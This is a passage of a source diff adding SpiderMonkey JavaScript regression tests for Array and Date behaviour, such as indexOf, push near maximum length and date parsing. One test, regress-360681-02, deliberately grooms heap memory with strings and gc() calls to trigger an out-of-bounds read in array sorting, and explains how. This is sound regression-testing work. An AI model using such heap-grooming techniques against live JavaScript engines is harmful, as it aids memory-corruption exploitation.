+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Array/regress-350256-02.js b/js/src/tests/js1_5/Array/regress-350256-02.js
new file mode 100644
index 000000000..81472faa9
--- /dev/null
+++ b/js/src/tests/js1_5/Array/regress-350256-02.js
@@ -0,0 +1,47 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350256;
+var summary = 'Array.apply maximum arguments';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+reportCompare(true, true, "");
+
+//-----------------------------------------------------------------------------
+if (this.getMaxArgs)
+ test(getMaxArgs());
+
+//-----------------------------------------------------------------------------
+
+function test(length)
+{
+ enterFunc ('test');
+
+ var a = new Array();
+ a[length - 2] = 'length-2';
+ a[length - 1] = 'length-1';
+
+ var b = Array.apply(null, a);
+
+ expect = length + ',length-2,length-1';
+ actual = b.length + "," + b[length - 2] + "," + b[length - 1];
+ reportCompare(expect, actual, summary);
+
+ function f() {
+ return arguments.length + "," + arguments[length - 2] + "," +
+ arguments[length - 1];
+ }
+
+ expect = length + ',length-2,length-1';
+ actual = f.apply(null, a);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Array/regress-360681-01.js b/js/src/tests/js1_5/Array/regress-360681-01.js
new file mode 100644
index 000000000..ac22e45b4
--- /dev/null
+++ b/js/src/tests/js1_5/Array/regress-360681-01.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 360681;
+var summary = 'Regression from bug 224128';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = actual = 'No Crash';
+
+ var a = Array(3);
+ a[0] = 1;
+ a[1] = 2;
+ a.sort(function () { gc(); return 1; });
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Array/regress-360681-02.js b/js/src/tests/js1_5/Array/regress-360681-02.js
new file mode 100644
index 000000000..4ff9ac9cc
--- /dev/null
+++ b/js/src/tests/js1_5/Array/regress-360681-02.js
@@ -0,0 +1,58 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 360681;
+var summary = 'Regression from bug 224128';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = actual = 'No Crash';
+
+ var N = 1000;
+
+// Make an array with a hole at the end
+ var a = Array(N);
+ for (i = 0; i < N - 1; ++i)
+ a[i] = 1;
+
+// array_sort due for array with N elements with allocates a temporary vector
+// with 2*N. Lets create strings that on 32 and 64 bit CPU cause allocation
+// of the same amount of memory + 1 word for their char arrays. After we GC
+// strings with a reasonable malloc implementation that memory will be most
+// likely reused in array_sort for the temporary vector. Then the bug causes
+// accessing the one-beyond-the-aloocation word and re-interpretation of
+// 0xFFF0FFF0 as GC thing.
+
+ var str1 = Array(2*(2*N + 1) + 1).join(String.fromCharCode(0xFFF0));
+ var str2 = Array(4*(2*N + 1) + 1).join(String.fromCharCode(0xFFF0));
+ gc();
+ str1 = str2 = null;
+ gc();
+
+ var firstCall = true;
+ a.sort(function (a, b) {
+ if (firstCall) {
+ firstCall = false;
+ gc();
+ }
+ return a - b;
+ });
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Array/regress-364104.js b/js/src/tests/js1_5/Array/regress-364104.js
new file mode 100644
index 000000000..05d8953b6
--- /dev/null
+++ b/js/src/tests/js1_5/Array/regress-364104.js
@@ -0,0 +1,74 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "364104";
+var summary = "Array.prototype.indexOf, Array.prototype.lastIndexOf issues " +
+ "with the optional second fromIndex argument";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var failed = false;
+
+try
+{
+ // indexOf
+ if ([2].indexOf(2) != 0)
+ throw "indexOf: not finding 2!?";
+ if ([2].indexOf(2, 0) != 0)
+ throw "indexOf: not interpreting explicit second argument 0!";
+ if ([2].indexOf(2, 1) != -1)
+ throw "indexOf: ignoring second argument with value equal to array length!";
+ if ([2].indexOf(2, 2) != -1)
+ throw "indexOf: ignoring second argument greater than array length!";
+ if ([2].indexOf(2, 17) != -1)
+ throw "indexOf: ignoring large second argument!";
+ if ([2].indexOf(2, -5) != 0)
+ throw "indexOf: calculated fromIndex < 0, should search entire array!";
+ if ([2, 3].indexOf(2, -1) != -1)
+ throw "indexOf: not handling index == (-1 + 2), element 2 correctly!";
+ if ([2, 3].indexOf(3, -1) != 1)
+ throw "indexOf: not handling index == (-1 + 2), element 3 correctly!";
+
+ // lastIndexOf
+ if ([2].lastIndexOf(2) != 0)
+ throw "lastIndexOf: not finding 2!?";
+ if ([2].lastIndexOf(2, 1) != 0)
+ throw "lastIndexOf: not interpreting explicit second argument 1!?";
+ if ([2].lastIndexOf(2, 17) != 0)
+ throw "lastIndexOf: should have searched entire array!";
+ if ([2].lastIndexOf(2, -5) != -1)
+ throw "lastIndexOf: -5 + 1 < 0, so array shouldn't be searched!";
+ if ([2].lastIndexOf(2, -2) != -1)
+ throw "lastIndexOf: -2 + 1 < 0, so array shouldn't be searched!";
+ if ([2, 3].lastIndexOf(2, -1) != 0)
+ throw "lastIndexOf: not handling index == (-1 + 2), element 2 correctly!";
+ if ([2, 3].lastIndexOf(3, -1) != 1)
+ throw "lastIndexOf: not handling index == (-1 + 2), element 3 correctly!";
+ if ([2, 3].lastIndexOf(2, -2) != 0)
+ throw "lastIndexOf: not handling index == (-2 + 2), element 2 correctly!";
+ if ([2, 3].lastIndexOf(3, -2) != -1)
+ throw "lastIndexOf: not handling index == (-2 + 2), element 3 correctly!";
+ if ([2, 3].lastIndexOf(2, -3) != -1)
+ throw "lastIndexOf: calculated fromIndex < 0, shouldn't search array for 2!";
+ if ([2, 3].lastIndexOf(3, -3) != -1)
+ throw "lastIndexOf: calculated fromIndex < 0, shouldn't search array for 3!";
+}
+catch (e)
+{
+ failed = e;
+}
+
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Array/regress-422286.js b/js/src/tests/js1_5/Array/regress-422286.js
new file mode 100644
index 000000000..afd18cbe1
--- /dev/null
+++ b/js/src/tests/js1_5/Array/regress-422286.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 422286;
+var summary = 'Array slice when array\'s length is assigned';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ Array(10000).slice(1);
+ a = Array(1);
+ a.length = 10000;
+ a.slice(1);
+ a = Array(1);
+ a.length = 10000;
+ a.slice(-1);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Array/regress-424954.js b/js/src/tests/js1_5/Array/regress-424954.js
new file mode 100644
index 000000000..fa7b59cc5
--- /dev/null
+++ b/js/src/tests/js1_5/Array/regress-424954.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Bob Clary
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 424954;
+var summary = 'Do not crash with [].concat(null)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ [].concat(null);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Array/regress-451483.js b/js/src/tests/js1_5/Array/regress-451483.js
new file mode 100644
index 000000000..662f31292
--- /dev/null
+++ b/js/src/tests/js1_5/Array/regress-451483.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 451483;
+var summary = '[].splice.call(0) == []';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = true;
+ var result = [].splice.call(0);
+ print('[].splice.call(0) = ' + result);
+ actual = result instanceof Array && result.length == 0;
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Array/regress-451906.js b/js/src/tests/js1_5/Array/regress-451906.js
new file mode 100644
index 000000000..64d65692f
--- /dev/null
+++ b/js/src/tests/js1_5/Array/regress-451906.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 451906;
+var summary = 'Index array by numeric string';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 1;
+ var s=[1,2,3];
+ actual = s['0'];
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Array/regress-456845.js b/js/src/tests/js1_5/Array/regress-456845.js
new file mode 100644
index 000000000..dc34935f5
--- /dev/null
+++ b/js/src/tests/js1_5/Array/regress-456845.js
@@ -0,0 +1,51 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 456845;
+var summary = 'JIT: popArrs[a].pop is not a function';
+var actual = 'No Error';
+var expect = 'No Error';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ try
+ {
+ var chars = '0123456789abcdef';
+ var size = 1000;
+ var mult = 100;
+
+ var arr = [];
+ var lsize = size;
+ while (lsize--) { arr.push(chars); }
+
+ var popArrs = [];
+ for (var i=0; i<mult; i++) { popArrs.push(arr.slice()); }
+
+
+ for(var a=0;a<mult;a++) {
+ var x; while (x = popArrs[a].pop()) { }
+ }
+
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Array/regress-465980-01.js b/js/src/tests/js1_5/Array/regress-465980-01.js
new file mode 100644
index 000000000..fd36febd4
--- /dev/null
+++ b/js/src/tests/js1_5/Array/regress-465980-01.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465980;
+var summary = 'Do not crash @ InitArrayElements';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ var a = new Array(4294967294);
+ a.push("foo", "bar");
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Array/regress-465980-02.js b/js/src/tests/js1_5/Array/regress-465980-02.js
new file mode 100755
index 000000000..08bab06d4
--- /dev/null
+++ b/js/src/tests/js1_5/Array/regress-465980-02.js
@@ -0,0 +1,170 @@
+// |reftest| skip -- slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465980;
+var summary = 'Do not crash @ InitArrayElements';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function describe(name, startLength, pushArgs, expectThrow, expectLength)
+ {
+ return name + "(" + startLength + ", " +
+ "[" + pushArgs.join(", ") + "], " +
+ expectThrow + ", " +
+ expectLength + ")";
+ }
+
+ var push = Array.prototype.push;
+ var unshift = Array.prototype.unshift;
+
+ function testArrayPush(startLength, pushArgs, expectThrow, expectLength)
+ {
+ print("running testArrayPush(" +
+ startLength + ", " +
+ "[" + pushArgs.join(", ") + "], " +
+ expectThrow + ", " +
+ expectLength + ")...");
+ var a = new Array(startLength);
+ try
+ {
+ push.apply(a, pushArgs);
+ if (expectThrow)
+ {
+ throw "expected to throw for " +
+ describe("testArrayPush", startLength, pushArgs, expectThrow,
+ expectLength);
+ }
+ }
+ catch (e)
+ {
+ if (!(e instanceof RangeError))
+ {
+ throw "unexpected exception type thrown: " + e + " for " +
+ describe("testArrayPush", startLength, pushArgs, expectThrow,
+ expectLength);
+ }
+ if (!expectThrow)
+ {
+ throw "unexpected exception " + e + " for " +
+ describe("testArrayPush", startLength, pushArgs, expectThrow,
+ expectLength);
+ }
+ }
+
+ if (a.length !== expectLength)
+ {
+ throw "unexpected modified-array length for " +
+ describe("testArrayPush", startLength, pushArgs, expectThrow,
+ expectLength);
+ }
+
+ for (var i = 0, sz = pushArgs.length; i < sz; i++)
+ {
+ var index = i + startLength;
+ if (a[index] !== pushArgs[i])
+ {
+ throw "unexpected value " + a[index] +
+ " at index " + index + " (" + i + ") during " +
+ describe("testArrayPush", startLength, pushArgs, expectThrow,
+ expectLength) + ", expected " + pushArgs[i];
+ }
+ }
+ }
+
+ function testArrayUnshift(startLength, unshiftArgs, expectThrow, expectLength)
+ {
+ print("running testArrayUnshift(" +
+ startLength + ", " +
+ "[" + unshiftArgs.join(", ") + "], " +
+ expectThrow + ", " +
+ expectLength + ")...");
+ var a = new Array(startLength);
+ try
+ {
+ unshift.apply(a, unshiftArgs);
+ if (expectThrow)
+ {
+ throw "expected to throw for " +
+ describe("testArrayUnshift", startLength, unshiftArgs, expectThrow,
+ expectLength);
+ }
+ }
+ catch (e)
+ {
+ if (!(e instanceof RangeError))
+ {
+ throw "unexpected exception type thrown: " + e + " for " +
+ describe("testArrayUnshift", startLength, unshiftArgs, expectThrow,
+ expectLength);
+ }
+ if (!expectThrow)
+ {
+ throw "unexpected exception " + e + " for " +
+ describe("testArrayUnshift", startLength, unshiftArgs, expectThrow,
+ expectLength);
+ }
+ }
+
+ if (a.length !== expectLength)
+ {
+ throw "unexpected modified-array length for " +
+ describe("testArrayUnshift", startLength, unshiftArgs, expectThrow,
+ expectLength);
+ }
+
+ for (var i = 0, sz = unshiftArgs.length; i < sz; i++)
+ {
+ if (a[i] !== unshiftArgs[i])
+ {
+ throw "unexpected value at index " + i + " during " +
+ describe("testArrayUnshift", startLength, unshiftArgs, expectThrow,
+ expectLength);
+ }
+ }
+ }
+
+ var failed = true;
+
+ try
+ {
+ var foo = "foo", bar = "bar", baz = "baz";
+
+ testArrayPush(4294967294, [foo], false, 4294967295);
+ testArrayPush(4294967294, [foo, bar], true, 4294967295);
+ testArrayPush(4294967294, [foo, bar, baz], true, 4294967295);
+ testArrayPush(4294967295, [foo], true, 4294967295);
+ testArrayPush(4294967295, [foo, bar], true, 4294967295);
+ testArrayPush(4294967295, [foo, bar, baz], true, 4294967295);
+
+ testArrayUnshift(4294967294, [foo], false, 4294967295);
+ testArrayUnshift(4294967294, [foo, bar], true, 4294967294);
+ testArrayUnshift(4294967294, [foo, bar, baz], true, 4294967294);
+ testArrayUnshift(4294967295, [foo], true, 4294967295);
+ testArrayUnshift(4294967295, [foo, bar], true, 4294967295);
+ testArrayUnshift(4294967295, [foo, bar, baz], true, 4294967295);
+
+ }
+ catch (e)
+ {
+ actual = e + '';
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Array/regress-474529.js b/js/src/tests/js1_5/Array/regress-474529.js
new file mode 100644
index 000000000..ee2cb21c1
--- /dev/null
+++ b/js/src/tests/js1_5/Array/regress-474529.js
@@ -0,0 +1,55 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 474529;
+var summary = 'Do not assert: _buf->_nextPage';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function main() {
+
+ function timeit(N, buildArrayString) {
+ return Function("N",
+ "var d1 = +new Date;" +
+ "while (N--) var x = " + buildArrayString +
+ "; return +new Date - d1")(N);
+ }
+
+ function reportResults(size, N, literalMs, newArrayMs, arrayMs) {
+ print(Array.join(arguments, "\t"));
+ }
+
+ var repetitions = [ 9000, 7000, 4000, 2000, 2000, 2000, 800, 800, 800, 300, 100, 100 ]
+ for (var zeros = "0, ", i = 0; i < repetitions.length; ++i) {
+ var N = repetitions[i];
+ reportResults((1 << i) + 1, N,
+ timeit(N, "[" + zeros + " 0 ]"),
+ timeit(N, "new Array(" + zeros + " 0)"),
+ timeit(N, "Array(" + zeros + " 0)"));
+ zeros += zeros;
+ }
+ }
+
+ gc();
+ print("Size\t\Rep.\t\Literal\tnew Arr\tArray()");
+ print("====\t=====\t=======\t=======\t=======");
+ main();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Array/regress-94257.js b/js/src/tests/js1_5/Array/regress-94257.js
new file mode 100644
index 000000000..ab95dd3ef
--- /dev/null
+++ b/js/src/tests/js1_5/Array/regress-94257.js
@@ -0,0 +1,86 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 30 October 2001
+ *
+ * SUMMARY: Regression test for bug 94257
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=94257
+ *
+ * Rhino used to crash on this code; specifically, on the line
+ *
+ * arr[1+1] += 2;
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 94257;
+var summary = "Making sure we don't crash on this code -";
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+var arr = new Array(6);
+arr[1+1] = 1;
+arr[1+1] += 2;
+
+
+status = inSection(1);
+actual = arr[1+1];
+expect = 3;
+addThis();
+
+status = inSection(2);
+actual = arr[1+1+1];
+expect = undefined;
+addThis();
+
+status = inSection(3);
+actual = arr[1];
+expect = undefined;
+addThis();
+
+
+arr[1+2] = 'Hello';
+
+
+status = inSection(4);
+actual = arr[1+1+1];
+expect = 'Hello';
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Array/shell.js b/js/src/tests/js1_5/Array/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_5/Array/shell.js
diff --git a/js/src/tests/js1_5/Date/browser.js b/js/src/tests/js1_5/Date/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_5/Date/browser.js
diff --git a/js/src/tests/js1_5/Date/regress-188211.js b/js/src/tests/js1_5/Date/regress-188211.js
new file mode 100644
index 000000000..663611b81
--- /dev/null
+++ b/js/src/tests/js1_5/Date/regress-188211.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 188211;
+var summary = 'Date.prototype.toLocaleString() error on future dates';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var dt;
+
+dt = new Date(208e10);
+printStatus(dt+'');
+expect = true;
+actual = dt.toLocaleString().indexOf('2035') >= 0;
+reportCompare(expect, actual, summary + ': new Date(208e10)');
+
+dt = new Date(209e10);
+printStatus(dt+'');
+expect = true;
+actual = dt.toLocaleString().indexOf('2036') >= 0;
+reportCompare(expect, actual, summary + ': new Date(209e10)');
diff --git a/js/src/tests/js1_5/Date/regress-301738-01.js b/js/src/tests/js1_5/Date/regress-301738-01.js
new file mode 100644
index 000000000..8f5ae7d30
--- /dev/null
+++ b/js/src/tests/js1_5/Date/regress-301738-01.js
@@ -0,0 +1,97 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 301738;
+var summary = 'Date parse compatibilty with MSIE';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+/*
+ Case 1. The input string contains an English month name.
+ The form of the string can be month f l, or f month l, or
+ f l month which each evaluate to the same date.
+ If f and l are both greater than or equal to 70, or
+ both less than 70, the date is invalid.
+ The year is taken to be the greater of the values f, l.
+ If the year is greater than or equal to 70 and less than 100,
+ it is considered to be the number of years after 1900.
+*/
+
+var month = 'January';
+var f;
+var l;
+
+f = l = 0;
+expect = true;
+
+actual = isNaN(new Date(month + ' ' + f + ' ' + l));
+reportCompare(expect, actual, 'January 0 0 is invalid');
+
+actual = isNaN(new Date(f + ' ' + l + ' ' + month));
+reportCompare(expect, actual, '0 0 January is invalid');
+
+actual = isNaN(new Date(f + ' ' + month + ' ' + l));
+reportCompare(expect, actual, '0 January 0 is invalid');
+
+f = l = 70;
+
+actual = isNaN(new Date(month + ' ' + f + ' ' + l));
+reportCompare(expect, actual, 'January 70 70 is invalid');
+
+actual = isNaN(new Date(f + ' ' + l + ' ' + month));
+reportCompare(expect, actual, '70 70 January is invalid');
+
+actual = isNaN(new Date(f + ' ' + month + ' ' + l));
+reportCompare(expect, actual, '70 January 70 is invalid');
+
+f = 100;
+l = 15;
+
+// year, month, day
+expect = new Date(f, 0, l).toString();
+
+actual = new Date(month + ' ' + f + ' ' + l).toString();
+reportCompare(expect, actual, 'month f l');
+
+actual = new Date(f + ' ' + l + ' ' + month).toString();
+reportCompare(expect, actual, 'f l month');
+
+actual = new Date(f + ' ' + month + ' ' + l).toString();
+reportCompare(expect, actual, 'f month l');
+
+f = 80;
+l = 15;
+
+// year, month, day
+expect = (new Date(f, 0, l)).toString();
+
+actual = (new Date(month + ' ' + f + ' ' + l)).toString();
+reportCompare(expect, actual, 'month f l');
+
+actual = (new Date(f + ' ' + l + ' ' + month)).toString();
+reportCompare(expect, actual, 'f l month');
+
+actual = (new Date(f + ' ' + month + ' ' + l)).toString();
+reportCompare(expect, actual, 'f month l');
+
+f = 2040;
+l = 15;
+
+// year, month, day
+expect = (new Date(f, 0, l)).toString();
+
+actual = (new Date(month + ' ' + f + ' ' + l)).toString();
+reportCompare(expect, actual, 'month f l');
+
+actual = (new Date(f + ' ' + l + ' ' + month)).toString();
+reportCompare(expect, actual, 'f l month');
+
+actual = (new Date(f + ' ' + month + ' ' + l)).toString();
+reportCompare(expect, actual, 'f month l');
+
diff --git a/js/src/tests/js1_5/Date/regress-309925-01.js b/js/src/tests/js1_5/Date/regress-309925-01.js
new file mode 100644
index 000000000..ee6daaffc
--- /dev/null
+++ b/js/src/tests/js1_5/Date/regress-309925-01.js
@@ -0,0 +1,15 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 309925;
+var summary = 'Correctly parse Date strings with HH:MM';
+var actual = new Date('Sep 24, 11:58 105') + '';
+var expect = new Date('Sep 24, 11:58:00 105') + '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Date/regress-309925-02.js b/js/src/tests/js1_5/Date/regress-309925-02.js
new file mode 100644
index 000000000..60bbfc33b
--- /dev/null
+++ b/js/src/tests/js1_5/Date/regress-309925-02.js
@@ -0,0 +1,15 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 309925;
+var summary = 'Correctly parse Date strings with HH:MM(comment)';
+var actual = new Date('Sep 24, 11:58(comment) 105') + '';
+var expect = new Date('Sep 24, 11:58:00 (comment) 105') + '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Date/regress-346027.js b/js/src/tests/js1_5/Date/regress-346027.js
new file mode 100644
index 000000000..0910c5c7e
--- /dev/null
+++ b/js/src/tests/js1_5/Date/regress-346027.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346027;
+var summary = 'Date.prototype.setFullYear()';
+var actual = '';
+var expect = true;
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var d = new Date();
+ d.setFullYear();
+ actual = isNaN(d.getFullYear());
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Date/regress-346363.js b/js/src/tests/js1_5/Date/regress-346363.js
new file mode 100644
index 000000000..a4f44b5df
--- /dev/null
+++ b/js/src/tests/js1_5/Date/regress-346363.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
